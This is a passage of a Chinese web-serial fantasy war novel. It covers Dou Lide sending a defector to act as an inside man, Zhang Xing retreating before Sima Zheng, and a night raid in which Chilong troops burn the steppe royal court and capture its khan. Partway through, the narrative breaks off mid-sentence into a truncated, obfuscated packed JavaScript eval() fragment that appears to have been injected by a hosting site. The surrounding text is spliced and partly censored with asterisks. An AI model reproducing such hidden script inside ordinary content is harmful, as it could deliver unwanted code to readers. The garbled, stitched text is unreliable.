“他这人比较倒霉,明明是淮上人,却不知道坏了什么事,被撵到白道关看守毒漠最东面的白道。”窦濡赶紧解释,而且解释的非常详细。“后来巫族南下,他的上司梁师城降了巫族人,趁势割据毒漠南侧各边郡,称了可汗,他也就跟着一起降了,结果陛……结果白横秋回来,撵走巫族,韦胜机平定梁师城,他又倒戈相向……应该是觉得他已经降了一次巫族,还从中倒戈了回来,而大英在关中势态稳固,白道这种地方说是要害,可没有交战就是荒野边陲,依旧用了他这个罪人。” “你觉得他能降吗?”窦立德认真追问。 “不好说。”窦濡想了一下,摇头以对。“真不好说。” “也是。”窦立德复又指向下一个名字。“常负,此人应该是我们黜龙军叛徒,竟在榆关?还只是副将?” “是。”窦濡小心解释。“榆关是毒漠东段到中段三关之首,统辖三关,身后的榆林镇有专门的一位将军,姓于,是八柱国之后……常负作为降人,本身有些名份,按照惯例授予了鹰扬折冲府,给了将军身份,但偏偏之前有人说,府兵轮流卫戍宫中以及长安城,若是他趁大军外出时起了歹心,不免要出乱子,便将他安置在边关。” 窦立德点点头,不置可否。 而窦濡瞥了对方一眼,终于主动开口:“禀告窦龙头,在下以为,这些东西其实都是细枝末节……这些人,可能反正,也可能坚守,都无所谓,因为大势压下去,纷乱如麻,肯定有人反正,也肯定有人坚守……关键是要成大势,而且压上去。” 窦立德一愣,终于也笑,却是指着身前的这些纸张来对:“那你告诉我,怎么成大势?大势难道不是这么一条条一件件摞起来的吗?便是李龙头旬日平定东部,不也是我们在后方一件件甲胄,一斗斗粮食给凑出来的吗?窦濡,你既要反正,便该拿出点认真做事的样子了,不止是我们黜龙帮,你们关西当年成事的时候也是这么来的,几张纸可不行……榆关跟白道关,什么时候会知道咱们这里消息?” 窦濡思索片刻,给出答复:“动静这么大,那边根本瞒不住,更不要说还有许多逃人会想着去寻他们,我估计年关时候白道就知道了,榆关最多差两日,过完年也知道了……” “你能去做内应吗?”窦立德忽然插嘴。 窦濡猛地一惊,抬眼去看身前人,迟疑片刻,方才缓缓出言:“其实不是不行,但属下有三个疑虑……” “说来。” “我若一去不复返……” “那就不复返,你也说了,大势之下,纷乱如麻,等我们打到跟前,你觉得大英气数已尽,自然会做出选择;反过来说,我们没法给你这种见识过两家虚实的人造成威胁,那就当我是看在大家都姓窦的名义上,以此行副帅的身份给你做了赦免。”窦立德言之凿凿。“便是一辈子不再相见,也只当有缘,将来我**,给我去三一正教观中立个牌位就算还了。” “那……我到了关内,该如何去做?”窦濡呼了口气,继续来问。 “你身份比较高,最好还是希望你能讨个任命,握个守关之权,到时候直接献关。”窦立德恳切道。“但真没有这个任命也无所谓,好生存身便是……毕竟此番不过是见你心里明白,做个尝试罢了……譬如说,若是关西大军及时拥上,你在关中什么都不是,便是给我送军情,我们也只当是替对家诱敌。” 窦濡再三俯身拱手:“窦龙头这般诚恳,我若不应,反而虚伪……还有最后一件事,龙头想让属下去哪个关?” “我其实也不知道。”窦立德茫然以对。“但还是去白道关吧,毕竟榆关有大将坐镇,怕轮不到你。” “是。”窦濡再三拱手,应了下来。 年关说来就来,过完年,就是三征后群雄并起以来的第八年了,张首席来到这个世界也要十年了。 十年间,他结识了无数英豪,在济水流域建立了黜龙帮,以绝对核心领导者的身份开辟了河北根据地,继而并吞北地、徐州、淮西、晋北,势力扩展到了近百郡。 期间,他带领黜龙军击败和吞并了齐郡-张须果集团、河间-薛常雄集团、幽州-罗术集团,**了北地八公势力;联盟,収降,合并了淮右盟、河北-登州义军、武安-李定集团、北地荡魔卫集团;还抵御了白横秋自晋地而来的一次大规模军事干涉、在落龙滩接应回了被大风卷走的别动部队、在江淮一带阻击了江都骁锐重兵集团。 甚至,还黜了一条真龙。 一桩桩,一件件,谁敢不认张首席是如今天下至重之人? 实际上,到了今年年中,黜龙帮就按部就班的开始了最后的统一战争尝试,而且目前完全不落下风……或者说,就是黜龙军占尽了上风,实力尽显。 然而,就是这么一位志在至尊的人物,带领着这么一支军队,却在这一年的年关,被人撵的弃城冒雪而走。 没错,司马正真的南下了。 而且是倾巢而出。 在确定两家都把自己的调解方案和最后通牒当废纸后,原本一直在东都养精蓄锐的三万众,包括了多位修为登堂**的高级将领,在司马正的带领下,直接自东都城正南方的伊阙关排闼而出,然后自官道铺陈而下直趋南阳。 算算时间,明日下午,也就是大年初一估计就要到淯阳郡北面门户鲁阳关了,而过了鲁阳关,那他张首席最常待的武川城可就首当其冲了。 东都军军容严整,气势汹汹,其速度、兵力远超想象,无数哨骑飞奔而回,将消息带回,而张行召集几位龙头,只用了一刻钟便通过决议,立即放弃武川,向东南避其锋芒。 彼处有方城为基地,还有西唐山、雉衡山做侧翼遮蔽……当然,关键还是那句话,避其锋芒。 坦诚说,有些狼狈,而之前承受了那种伤亡,过年都在外挨冻,现在又要弃地而走,很多营头都有些士气沮丧之态,尤其是这次出兵,因为偏南的缘故,来了很多所谓杂牌军、新军——不说內侍军、牛达刚刚在徐州整编的新营头以及刚刚収降的几千淮南兵,就连伍惊风的营头也有很强的独立性,范厨子那些人也都算旧**气。 得亏张行亲自骑着黄骠马在路边不时与这些兵马交谈安抚,谁要是抱怨,便哈哈大笑,告诉这些人,黜龙军只是正常的战术转进,而真正被逼急了的,当然是此时耀武扬威的司马正。 核心是要笑,要大声笑,也不管人家懂不懂什么叫战术转进的。 包括几位龙头也都亲自驰马往来,用类似言语和军纪提点军心。 到了中午,来到雉衡山下,气氛稍微松了一点,几位龙头又被张行喊到路边一处废亭内,只稍作讨论,又匆匆唤了两人过来,正是內侍军总管王焯跟情绪最低落的骑军总管刘黑榥。 后者非但没有捞到他最期盼的转进如风、合而歼之的理想骑兵态势,反而因为大雪和烂仗损伤不少,如今干脆要被动撤离,这跟开战初期的攻城略地形成了鲜明对比,不免情绪郁郁,只想着能打漂亮仗。 “刘黑榥。”张行开门见山。“我们商议了一下,都觉得司马正这是被逼急了……但也不能放任不管,任他锋芒毕露,否则咱们军心先不稳了,战术转进要变立足不稳继而溃败的……你跟张公慎,还有几位龙头麾下给你凑的两千骑做补充,从这儿往东北面走,取道颍川绕过去,去挠他们后背,断他们后勤,遇到小股兵马,直接吃掉,能不能去?” “首席这般说了,如何不能?”刘黑榥咬牙道,却毫不迟疑提了个要求。“但我的兵也疲累,减员也多,战马也不足……” “我让王总管退到淮阳去,做你也是我们这边的后继……”话到这里,张行去看王焯。“王大头领,现在就是两国在拼底力,淮阳府库那里你自己调度,但那是新降的地方,冰天雪地,便是想搜刮都难,最近的熟地就是你们谯郡那里,那边还有没有粮食、骡马、布帛、衣物、军械储备?不止是府库,你告诉你们的人,是帮里借支的,算利息……咱们黜龙帮不许有**,低利借贷,算在赋税里也好,专门偿还也罢,赶紧凑一批来,钱帛送到这里,骡马军械给刘总管!” 王焯立即应声:“让余烩赶紧回去凑,我正好从淮阳接应……但说实话,钱帛还算充足,军械有一点,可骡马委实不足。” “无妨,有什么算什么。”张行答应,复又去看单通海。“荥阳呢?” “府库全已经纳入坐镇济阴的柴龙头那里,至于民间……荥阳真不行。”单通海严肃否决了张首席的建议。“首席,因为荥阳对着龙囚关的缘故,那里多驻军,也做了专门的授田安置,民间多是基层军士……不能在年前、春耕前从他们那里借骡马,他们会心慌,部队知道了也会心慌。” 张行一声不吭。 而单通海也继续说了下去:“可以从济阴、东郡借,那里是我们起家的地方,便不是头领的家眷,也是舵主、**的家眷,最差也是亲戚在,而且骡马也多,很多可以用作战马……借他们的!我让我家里人先把骡马全送出来,再去借他人的。” 张行再看刘黑榥。 刘黑榥听到一半就已经头皮发麻,此时还能说什么:“首席请放心,若是这般我们还不晓得拼命,便该我刘黑榥白活这几年了……这仗打完,若是真把骡马全损耗了,我光着腚去给那些叔母们拉犁头!” 说到这里,他还是不走,就在雪地里来捻马鞭:“我知道这个时候多要什么都算不要脸,但首席既然给了我这个任务,我总要尽量完成,而我跟张公慎都不是修为上见长,得有个能碰硬仗的……” “秦宝,你带走一百踏白骑,跟他走。”张行扭头来看身后。 秦宝没有吭声,只盯着张行来看。 张行无奈:“你去了,伍龙头还在,况且我是宗师境地,开战后突飞猛进,修为提升不断。倒是司马正,他之前那么强横,乃是因为在东都立塔的缘故,河阳要塞前自然威猛,可如今他自家离开东都,跨越百余里到这儿……此消彼长,怎么可能让他再有河阳那种机会?” 秦宝闻言思索片刻,前面不好说,但司马正的情况倒是真如此,河阳之战那位大宗师明显不是寻常大宗师的水平,倒是无话可说了,便拱手告辞:“首席保重。” 刘黑榥得了秦宝外加一百骑踏白骑襄助,再无任何借口可言,当即也在雪地里恭敬一拜,连带着王焯,纷纷走掉了。 下午时分,张行抵达方城。 方城是南阳盆地北侧东面入口,正如鲁阳关到武川是南阳盆地正北面入口,而伏牛山下是南阳盆地西面入口一样……若是司马正明日按时抵达鲁阳关,甚至进一步到武川的话,那么北方三强的军政领袖,隔了两个多月而已,就再度完成了狭隘区域内的三角对峙态势。 但抵达方城后,张行根本懒得理会为啥又是三人对峙,为啥司马正一定要来,也不想白横秋现在是什么反应,只先去看后勤,看能不能充足的热水供应给撤下来的军士泡脚,看有没有热饭? 在得知事发仓促,柴火确实不足后,便下达了新的军令,要求头领以上的军中高层不得使用额外燃料,所有一切物资必须与自己本营军士一起公开使用;同时要求更后方的驻军,无论如何在明日转运一批物资过来,退下来的本军则明日一起去砍柴;最后,张行几乎将武川城内带回来的物资与方城内搜刮了一圈,凑了既有肉食,又有金银,还有冬衣布帛,甚至包括一些优质军械在内的东西充作赏赐,要求各营无论如何,依着之前的战功在今夜之前发下去。 处理完这些,天色已经发暗,张行就在王雄诞营内连着踏白骑一起吃了饭,转过头来,还是去城楼洞子里去睡觉。 到了这个时候,他是终于开始有时间去想一想了……白横秋什么反应无所谓,最好被吓的直接跑回关中,部队军心涣散,但不大可能,最多是往后撤撤,甚至伏牛山地形好,撤都没必要……关键是,司马正为什么要来?为什么敢来?会不会真打起来? 张行想了一刻钟,想的头都疼了,都想不到什么符合大势与逻辑的思路。 但是,从人心和感性的角度来看,司马正这个时候做什么都似乎是合理的……他和他背后的东都势力真的被逼到墙角了,今天路上那些话,也不是单纯在安慰下面的军士。 张首席擅自揣度,问题的关键在哪里? 如果是从整个东都人心来看,恐怕问题恰恰就在于东都几乎算是大赢特嬴的河内之战! 这一战,司马正采取了绝对正确的谨守关隘方略,一直压到战役最后白横秋看讨不到便宜撤军了,方才大发神威,而且不用一兵一卒,几乎是单人之力搅得河北、关西两家灰头土脸。 但这一战的影响未必全是好的,比如说司马正的过于强横,让下面人起了不该有的心思,或是觉得司马正这么强,未必不能当面决战大胜;或是觉得司马正这么强,下面人一点功勋都无,单纯想求战。 而更要命的一点是,河内一战前,东都内里是极度绝望的,是已经做好了抛弃东都之外所有地盘准备的,但随着河内一战结束,他们的相关心理建设反而失效了。于是等到黜龙军突袭过来,几乎是扫地一般并吞淮西,然后又跟关西人一起争夺他们的南阳盆地时,东都人就绷不住了。 这是东都人的心思,还有司马正本人的。 张行老早就察觉到了,司马正这个人现在有一种明确的自毁倾向。 但不是那种自暴自弃的自毁,而是想着要带走点什么,以及留下点什么,从而证明点什么的自毁……他想要的应该是牺牲和殉葬。 至于具体内幕嘛,张行大概能猜到一些什么,无外乎就是被四御撕扯掉的天命残余投射到了他身上,他被赋予了极大天命映射的同时也早早被撕扯掉爪牙,被四御当成了此番乱世的最终奖励。 按照四御的剧本……甚至可能只是祂们的传统,各自选定的人或者群体的胜利者可以杀掉这个人,穿上他辛苦锻造的盔甲,占据东都,从而成为此番乱世的天命之主。 司马正本人应该是在进入东都这个给他预设囚笼后察觉到这一点的,于是他本能的开始愤怒、开始反抗,他对自己这身修为有一种复杂的情感,他觉得这不是自己的东西,可偏偏又想证明这是自己的东西,想证明不是那套盔甲而是他司马正本人才是真正天命映射。 他想证明,四御其实是在违背天道糟践他! 这种生存与毁灭、本我与外我、天命与人心的自我矛盾,造就了他这种自毁倾向。 这个人或许是人中龙凤,却一直没有什么主见,而现在,这种想证明什么的自毁成为了他的主见。 所以,司马正本人也是不惮于冒险的。 换言之,这一战,司马正很可能会再度亲身出战,会打起来。 想明白这一点后,张行一声轻叹。 他当然也不惮于作战,他之前跟秦宝的话也没有糊弄,他的确感觉到自己修为也随着战争天平的倾斜在跃跃而动,或者随着黜龙帮势力的扩展、发展,可能再来一场特定的胜利,就会成为大宗师。而且到目前为止,这次河南出兵其实也算是完成了战略目标……也就是扩地和进一步压迫关西与东都,以摧毁和消耗这两家的战争潜力。 但与此同时,毫无疑问的一点是,作为战略上的施压方,他这个首席错误的低估了全面战争开启后的全局崩塌速度。 惨烈不可控的战事已经发生了,而且还要继续发生,直到胜负分明。 那天他呵斥王代积,何尝不是预感到什么,而且果真只是在呵斥王代积,没有指桑骂槐呵斥司马正?没有呵斥他张首席自己? 想到这里,大年夜的,张行竟然有些睡不着了。 张首席辗转反侧,**之外的西北方,大概是天黑的晚的缘故,自然还有人在替张首席纵情享乐……不是坐在金鹿烂翅龙椅上的窦立德,而是在中部王庭宴会上的张世昭。 张世昭张大头领是下午到的王庭,据说颠的都差点吐了,然后却花了不到半个时辰就把话给说了,把事办了——家书当面送给成义公主了,成义公主还对着信哭了一通;话也给突利可汗当面说了,但突利可汗还对东部的覆灭有些懵,毕竟他堂兄都蓝反复就是那几句话,一面之词而已,所以,对于黜龙军题中应有之义的结 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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就这样,宴席一直开到二更天,一直号召大家不要停的张世昭眼看着醉醺醺撑不住了,包括突利在内,许多陪宴的王庭贵人也都醉醺醺撑不住了,终于撤宴了。 也就是这时,被人扶起来张世昭张大头领忽然扑到身侧文修宗师崔傥身上,吓得后者赶紧施展真气扶住他。 却不料,张大头领此时竟然努力直起身子抬起头,指着旁边的文修宗师对着也要回转后帐的突利大声来言,酒气扑了身侧之人一鼻子:“可汗!崔公跟我是旧、旧……识!蒙你今天亲身做了舞蹈,替我们消了……公事上的仇怨!我今夜我要跟他我……同榻而睡,抵足而眠!明天起来,起来就是好……好、好友了!” 可能是修为作用,突利虽然喝了许多,但相较于张世昭还是更清醒一些,此时闻言,也不表态,只是哈哈大笑,摆摆手就扶着肚子走了。 而张世昭真就拽着身侧人胳膊,要与崔傥同帐而眠。 崔傥这辈子都没想过会有酒蒙子来拽自己,要跟自己困觉!杨斌当年都不敢这么干!但张世昭刚刚抵达,突利都没安排睡的地方,他想赶人都不知道往哪里赶! 最后,只能勉强扶起身侧之人,在王庭卫兵戏谑的目光中一起回了住处。 好在回去把这厮往二十七郎榻上一扔,就直接鼾声如雷,睡了过去,倒没有再闹什么幺蛾子,也是让崔傥松了一口气——寄人篱下真难! 也不知道清河今年下了几场雪? 就在同一时间,王庭西侧大约二十里外,四野昏暗的夜色中,一个野山之下,苏靖方及其部剩余的五百骑失去了道路,是他们傍晚抓的活口把他们带到这里,如今已经被宰了。 而军中刚刚议论,建议借此山背风遮光来做休息,明日一早,再抓个活口,或者再放个鸟雀跟着也行,毕竟晚上连鸟雀盘旋都看不见。 苏靖方也没有办法,只能认可这个建议,于是全军一起下马,如之前那般,战马在外,人在内,分成二十多个小圈,挖了火坑,寻了点柴火,点燃了简易篝火,准备用些热食。 也就是这时,苏靖方亲眼看见,有人将吃剩的红山野核桃壳扔进了火堆,但火堆并没有迅速吞没这玩意,而是慢慢的燃掉了这些东西。 “还有多少核桃?”苏靖方心中微动,却是想起了自己恩师教导过的一个小伎俩,但其实也没有多少期待,只随口来问。 结果那红山出身的亲卫骑士以为他要吃,立即从腰中取出来一口袋核桃来,非只如此,他的亲卫几乎都是武安红山籍贯的,也都纷纷掏出一个口袋来。 可见红山的野核桃确实出名。 “先别吃。” 胡子拉碴的苏靖方接过来一袋,下了军令,然后在一众亲卫瞩目下对着火堆掰开了一个大核桃,小心掏出里面的肉仁吃掉,只将大核桃壳小心放到一旁,又取了一个小核桃,也一样掏出肉仁,复又把小核桃壳捏碎,如是再三,用了好几个小核桃壳,都尽数捏碎了塞入到大核桃壳内。 随即,其人稍作迟疑,用手裹住真气,直接将还在火中没有燃尽的核桃壳取了一片出来,小心放在了核桃碎壳内里。 最后,在确定里面的核桃碎壳依然还在阴燃后,他扯了一根马鬃,将大核桃外面捆好,这才看向那些疑惑不解的亲卫们:“还有多少乌鸦跟麻雀?” 亲卫们不敢怠慢,立即将最后几笼鸟雀取出来。 苏靖方伸手抓住一只麻雀,再度用马鬃将那个大核桃紧紧绑在麻雀爪子下方,接着放飞。 麻雀飞出后想落地,却不能立足,只能往夜色深处而去。 苏靖方也不多言,直接开始捣鼓另一个大核桃,其余亲卫还是不明所以,但出于对自家主将多年的信任,以及这么干并没有损失他们的核桃肉仁,倒是无话可说,只纷纷仿效。 很快最后几笼,大约各十来只乌鸦与麻雀被依次放飞,消失不见。 但等到大家吃完东西,喝完水,乃至于各自昏沉睡去,也都没有什么动静……便是苏靖方在往野山上四下看了几次无果后,也直接倚着一个小土坡、挨着火坑睡了过去。 时间来到三更后半段,苏靖方还在睡觉,张世昭也在睡觉,大家都在睡觉的时候,可能是王庭内修为最高的一位,也就是清河崔氏的**人崔傥有些焦躁的翻身坐起。 他修为其实没有那么高,不确定是什么征兆、心血来潮,还是被张世昭的到访搞得心烦意乱。 毕竟,天下大势往何处倾斜? 东部巫族覆灭意味着什么? 突利夫妇是个什么态度? 若是突利合盟,自己能否借着这一回跟黜龙帮消了通缉,回清河来家度过晚年? 若是突利不愿意合盟,自己会不会被逼着上战场? 最怕的,乃是突利表面上合盟,实际上是想骗黜龙军远征军主力南下,然后再翻脸袭击对方身后……那到时候自己该怎么自处呢? 是想法子提前消除通缉,立即回家,还是跟这突利做这一遭再行观望? 可惜四郎不在,没有人商议。 正想着呢,隔着榻下侄孙的微微鼾声,外面忽然有人喊走水。 崔傥大惊,直接跳将下榻,腾起真气便卷出屋外,然后立即又懵掉——原来,只是百余步外,王庭核心区的一处老旧木屋角上,起了一把子火,火苗还没旁边火盆大。 果然,很快有人过来,几盆雪撒上,立即熄了,远处更有人喝骂这些值守侍卫看不住一个火盆还要影响贵人睡觉云云。 只能说,巫地冬日下雪封冻,可不耽误王庭多是永久性建筑,而且颇多老旧木材,再加上封冻本身对水源也有影响,防火还是要注意的。 另一边,崔傥看着火熄,又把真气奋力撒出去,也没察觉哪里有成建制没睡觉的人在潜伏,便只好回身。 然后刚一转身,忽然觉得哪里不对,回头再看,只见王庭还是老样子,核心区域火源稍多,以作照明,远处则干脆黑漆漆一片,只有几处零星的火点。 暗叫一声自己疑神疑鬼,其人便转回自己住处了。 又过了一阵子,还是翻来覆去睡不着,朦朦胧胧中,似乎又有人喊了起来,崔傥觉得奇怪,再度翻身坐起,这次是从容走到屋外,然后却又陡然愣住。 无他,可能是修为的缘故,王庭各处惊醒的人不多,便是近处一些侍卫还有些疑惑和犹豫,似乎根本无法分辨和做出判断。但崔傥何等修为,他看的清楚,也听得清楚,确实是起了火,烧到了东西,舔到了房子,到了绝对算是单家单户火灾的地步,而且不是一处两处,竟然是零零散散,杂七杂八,莫名起了十来处火! 这是怎么起来的? 这个时候,一阵夜风卷来,崔傥立即意识到,若是不能迅速灭火,马上火势就会疯长,王庭就要陷入混乱! 于是,其人披着衣服,往前一步,本能便要腾起真气,亲自以宗师之尊去救火。 也就是这时候,身后忽然有人出声:“崔公,事已至此,你还要往哪里去?” 崔傥如遭雷击,呆立不动。 PS:三号那天闹了个乌龙……那天到的顺丰是书友老爷送的水蜜桃!当然,两千张签字纸是真的,但还没到,也不知道什么时候到,要花多长时间,当提前说明了。 第九十九章 送乌行(9) 崔傥缓缓回身,见到一人立在身后,负手迎风,丝毫不乱,正是今日一定缠着要跟自己困觉的醉鬼张世昭。 莫说他“崔公”根本不可能小看此人,便是之前真因为那几分醉意有了几分轻视,此时闻言也尽数消无,有的只是满心满眼的震撼与不解: “这火真是你们放的?” “崔公觉得呢?”张世昭瞥了眼远处已经开始扩散的星火,似笑非笑。 “可是……可是,你们三四日前不才入了东部王庭吗?”崔傥觉得难以接受。“现在打仗已经到这种份上吗?” “说实话,李龙头只说大约比我晚一日,我也没想到前锋能提前半夜放火……”张世昭终于笑了出来。“如何,崔公?新年昭始,人已苍老,难道还要颠沛流离,死不归乡吗?” 崔傥立在那里,没有吭声,张世昭也没有逼迫对方,而是与对方就这么相向而立,任由对方身后火光越来越大,人声也越来越嘈杂。 二人还在对峙,忽然间,崔二十七郎被外面的动静惊醒,狼狈钻了出来,一边披衣服一边惶急来问:“哪里走了水?如何起的火?怎么烧了这么多?!” 再往前两步,见到自己叔爷与一背身之人相对,吓了一大跳,当即惊在原地,闭口不语,连衣服都不敢穿。 崔傥将目光从自己侄孙身上收回来,再度看向身前之人:“你酒宴上赖上我,便是看中了我的修为?不是怕我救火,而是想让我救你?” “崔公在胡扯什么?”张世昭笑了一下,恳切来言。“我原本是想半夜偷偷往北面山里钻的,这是实话,但见到崔公后才晓得,此间有一人正好需要相救……崔公,咱们是相互救一救。” “张大头领,我晓得你的意思。”崔傥闻言不由叹了口气。“但你如今只是一个大头领,我记得之前是做科考的还是管强制筑基的,现在更只是个骗人的使者,真有本事能赦我们祖孙?若是我现在救了你,你却救不了我又如何?须知道,当年之事,张首席恨我入骨。” “张首席或许恨你入骨,但此番领军的战帅李定李龙头却不恨你,而且跟我有事先的言语;你清河老乡,如今在东部王庭处置庶务的窦立德窦龙头也不恨你……依着我的见识,他现在巴不得多捞些清河人上岸呢。”张世昭依旧恳切。“而现在,因为远征军设立了战帅的缘故,这两人手里都有特赦的名额……换言之,只要你们祖孙送我离开,立下切实的功劳,那明后日在这里,或者图安全些,初五初六咱们回到东部,便是个无罪之寻常人,就可以回家了。” 说话间,近处的王庭核心区域也已经混乱起来,无数人喊叫着从睡梦中惊醒,已经有贵人开始指挥着什么,让人组织起来去那边救火了,而且也已经有人喊出了间谍、夜袭之类的言语。 混乱开始了。 崔傥晓得不能再拖延,只是再度轻叹一声,便提了最后要求:“张公是做过相公的人,自然说话算话,但还有一事,我受成义公主收留,不能反噬人家,所以待会闹起来,绝不替你们捉拿两位可汗与成义公主。” 说完,不待张世昭应声,直接越过对方,替自己侄孙套上了衣服。 可怜崔二十七郎惊得半死,此时又冻了片刻,赶紧套上衣服时不免还有些脑子浑噩,竟然脱口而问:“叔祖,这火竟是你放的吗?” 崔傥无语至极,一时恨不能将身边最后一个血脉亲眷扔在这里等死。 王庭的混乱越来越大。 没办法,核心问题在于火势难以控制,七**处火源,又有风,王庭里的人发现还晚,等注意到的时候已经成了气候,想去救的时候,已经蔓延成片……不过是片刻,整个王庭便已经完全失控。 至于王庭核心区域的混乱却又是另外一回事了。 因为从发现起火的第一时间开始,就有人喊出了间谍……但却没人看到间谍,没人抓到间谍,没人知道怎么点的火……而与此同时,只要稍加判断就也能知道,大约差不多时间各处一起起火,肯定不是意外! 所以,争论和臆测是免不了的。 而很快,一个人的抵达将这种争论、臆测以及混乱上升到了一个前所未有的高度。 “还有什么可说的,快跑吧!”都蓝一出现大家就都知道为什么他来的那么晚了,这厮竟然换好了衣服,宛若寻常巫族武士一般,而且是挂弓持矛,但几乎是同一时间,所有人也被他给弄懵了。“这是黜龙帮的大军打来了!” “都蓝大兄,你在胡扯甚?”一身锦衣的突利无语至极。“大军在何处?没有半点喊杀,哪来的大军?” “在外面合围呢!”都蓝焦急万分。“必然是在外面合围呢,我之前便是如此,只是这次他们远道而来,怕是不晓得王庭具体位置,所以提前派遣间谍先放火,外面的兵马看到火起,就知道往哪里打了!” 突利还是觉得荒唐:“他们四日前才刚刚进了你的王庭,怎么打过来的?都像那谁,张相公那样一人双骑带着干粮飞奔过来?” “有何不可呀?!”都蓝眼睛圆睁。“而且事到如今你还没看出来吗?那张……张相公就是麻痹你来了!他就是要糊弄你一个晚上就行!不信你现在去找找,看他还在不在?!” 突利已经开始心慌了——倒不仅仅是堂兄的发难,更重要的是远处火势越来越大,眼瞅着短时间内怕是救不来了,这个时候真要是大军合围,自己和成义公主可也真就死无葬身之地了。 当然,他还是存着一些幻想,还是觉得局势有一些匪夷所思,只赶紧让人把张世昭薅起来,顺便请那位河北人宗师过来。 须臾片刻,侍卫回报,张世昭并崔傥一并消失不见了,而且这位侍卫心细,进一步告知,崔傥侄孙崔二十七郎的被窝都还温热,倒是崔傥的被窝竟然已经凉了。 “看到没,宗师亲自点火,怪不得火势这么怪又找不到间谍。”都蓝无语至极,直接攥住了突利的袖子。“这个是一开始的内应,从河北来的!宗师内应!你竟还觉得是误会?记住了,待会千万不要直接腾跃,大晚上的,一个成丹腾跃起来,就是宗师的菜!” 突利还要说什么,忽然间,远处一阵喧哗,周围人也明显骚动,其人顺着众人指点放眼望去,一开始只看到似乎是火势在扩展,但很快他就意识到了什么,那不是寻常火光,是更远处有一条火龙在接近,或者更直接一点,那是千余骑的规制,点着火把,正往此间而来,远望如龙。 突利倒也称不上惊惶,只是不免口干舌燥。 相对而言,都蓝却再不能忍受,他上前直接拽着自己堂弟胸口的锦衣摇晃起了对方:“突利!火光一起,人家先锋就来了,这个样子你拿什么抵挡?你若还不走!求求你让他们放给我几匹马,我走好不好?我求你了,再这么下去要咱们俩都交代在这里,巫族这一回就不是被人犁了,是要成黜龙帮的一部了!” 突利恢复了一点神智,直接推开都蓝,呵斥了一声:“不要自乱阵脚,等本汗去见公主做个商议。” 话音未落,成义公主已经衣着严整,持刀而出,然后立在王帐的台阶上居高临下来问:“果然是黜龙贼背信弃义来攻吗?张……张相公也是间谍?” 前半句语调生硬,说到后一句反而有些悲切之态。 突利赶紧做答:“恐怕正是如此!就是那崔傥也都不见,怕是一开始就处心积虑算计咱们!” 成义公主一惊,赶紧再问:“这个局势有救吗?” 突利也只能勉力做答:“说实话,咱们没有多余准备……我召唤了其他部落的人,但定的是三日后渐次汇集……只凭王庭这些人马,又被人放火,又被人偷袭,只要黜龙军来了两三万,又已经开始投入战斗,咱们便没有什么胜算!” 成义公主长呼了一口气:“那若是此时逃走,能去哪里?” “须防着黜龙贼合围,这样的话,带着人往圣山下面走,然后顺着山麓逃出去……至于去哪里,有两条路,一条是去西部,黜龙贼但凡还想着长安,断不会去西部,去西部他们都不知道打谁,咱们可以去西部借兵!”突利依旧回答严整。“另一条是去北面,荒漠更北面,借着荒漠遮蔽收拢忠于我们的部落,等待黜龙军离开!” “去北面。”成义公主立即下了决断。“我是大魏公主,不能让他们俘虏到河北种地,也不能去西部寄人篱下,现在就走,让都蓝大兄跟我们一起走,到北面再说。” 都蓝在旁看完这对公母决断过程,此时更是一跺脚:“你看看,早该请公主出来拿主意,赶紧走!晚了就要被人包住了!” 既然王庭内三位最尊贵的贵人下定了主意,接下来的事情就好办了。 突利到底是在王庭内,而且周围又没有败军,外面的先头部队明显人数也少,眼下还只在外围放火,扩大火势,自然就准备妥当了起来……大家一起换上寻常巫族王庭士卒的衣物和皮甲,拿上最简单的长矛、弓箭,骑上战马,带上大魏之前送给突利的可汗金印,卷了同样的 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几乎是同一时间,王庭的北面二十来里地方,一座野山上,苏靖方迟疑了一下,拒绝了属下出击的要求,非只如此,他还直接下令将山后火堆熄灭。 原因很简单,王庭这把火太成功了,而且其余三路先锋已经出现并把先锋的任务完成了。 毕竟,先锋的任务很简单,就是确保有人能找到王庭,在大部队到来之前发动突袭,造成混乱,给后续主力部队的猛扑制造前提条件。 那么这个时候,自己这五百骑,与其进入王庭参与战斗,不如守株待兔,看看能不能避免都蓝可汗的事情重演。 要知道,他刚刚才注意到,自己所停留的这座山,很可能是王庭周边唯一一座大型野山。 原因很简单,其余三路前锋,在火起后很短的时间内就都发动了突袭,这说明他们都没有被遮蔽视野,反倒是自己这个纵火者,竟然过了很长一段时间才意识到发生了什么。 这就足够了。 等上一个时辰,等到人最好,等不到人再去攻击,还能让王庭的人继续陷入疑虑,让混乱延续。 苏靖方并没有等待太久,实际上,马蹄声响起的时间远比他想象的要早,藏在一块石头后面看着这看起来寻常但实际上人强马壮二十来骑的苏头领很快陷入到了一种疑惑中……这速度,难道是黜龙军先锋冲进王庭后一两刻钟他们就逃了吗? “止步!”来不及多想,眼见这队巫族骑士冲到跟前,苏靖方忽然亮出真气,拎着发光的百里剑自石头闪身而出。“我家龙头有令,请突利可汗与成义公主去东面做客!我们本意在南下长安,防止可汗与公主被都蓝蒙蔽而已,委实并无恶意!” 与此同时,山上潜藏的红山骑士们纷纷举火,更有两队骑兵匆匆自山后绕出。 而这队巫族逃人反应极为奇怪,他们既没有狼狈逃窜,也没有有修为的贵人直接腾起……若说之前逃窜不做腾跃,是害怕黜龙军高手埋伏,现在都到这份上了,还不跑? 眼见如此,拎着发光百里剑的苏靖方心中微动,继续来言:“阁下不必想了,我们全军一人双马,奔驰而来,有内应纵火,有先锋骑兵袭扰,有主力在推进,还有像我这种埋伏的,你们断难逃出……据我所知,山那边已经俘虏过一队人马了,也没用动粗,只请其中贵人安坐等待见我们战帅罢了……阁下又何必要闹得刀兵相见?” 听到这话,队伍更加骚动,却还是不走,竟被黜龙军绕出山脚的骑兵大队包住。 终于,过了片刻,一名中年骑士打马而出:“我便是突利可汗,我要见李龙头,请转告他,跟都蓝被一网打尽不同,我们中部各大部落都还在外面,我愿意汇集他们,随李龙头南下长安,还请黜龙帮不要为难我和成义公主,也请不要肆意杀戮。” 苏靖方懵在原地,手中的百里剑一时都有些暗淡了。 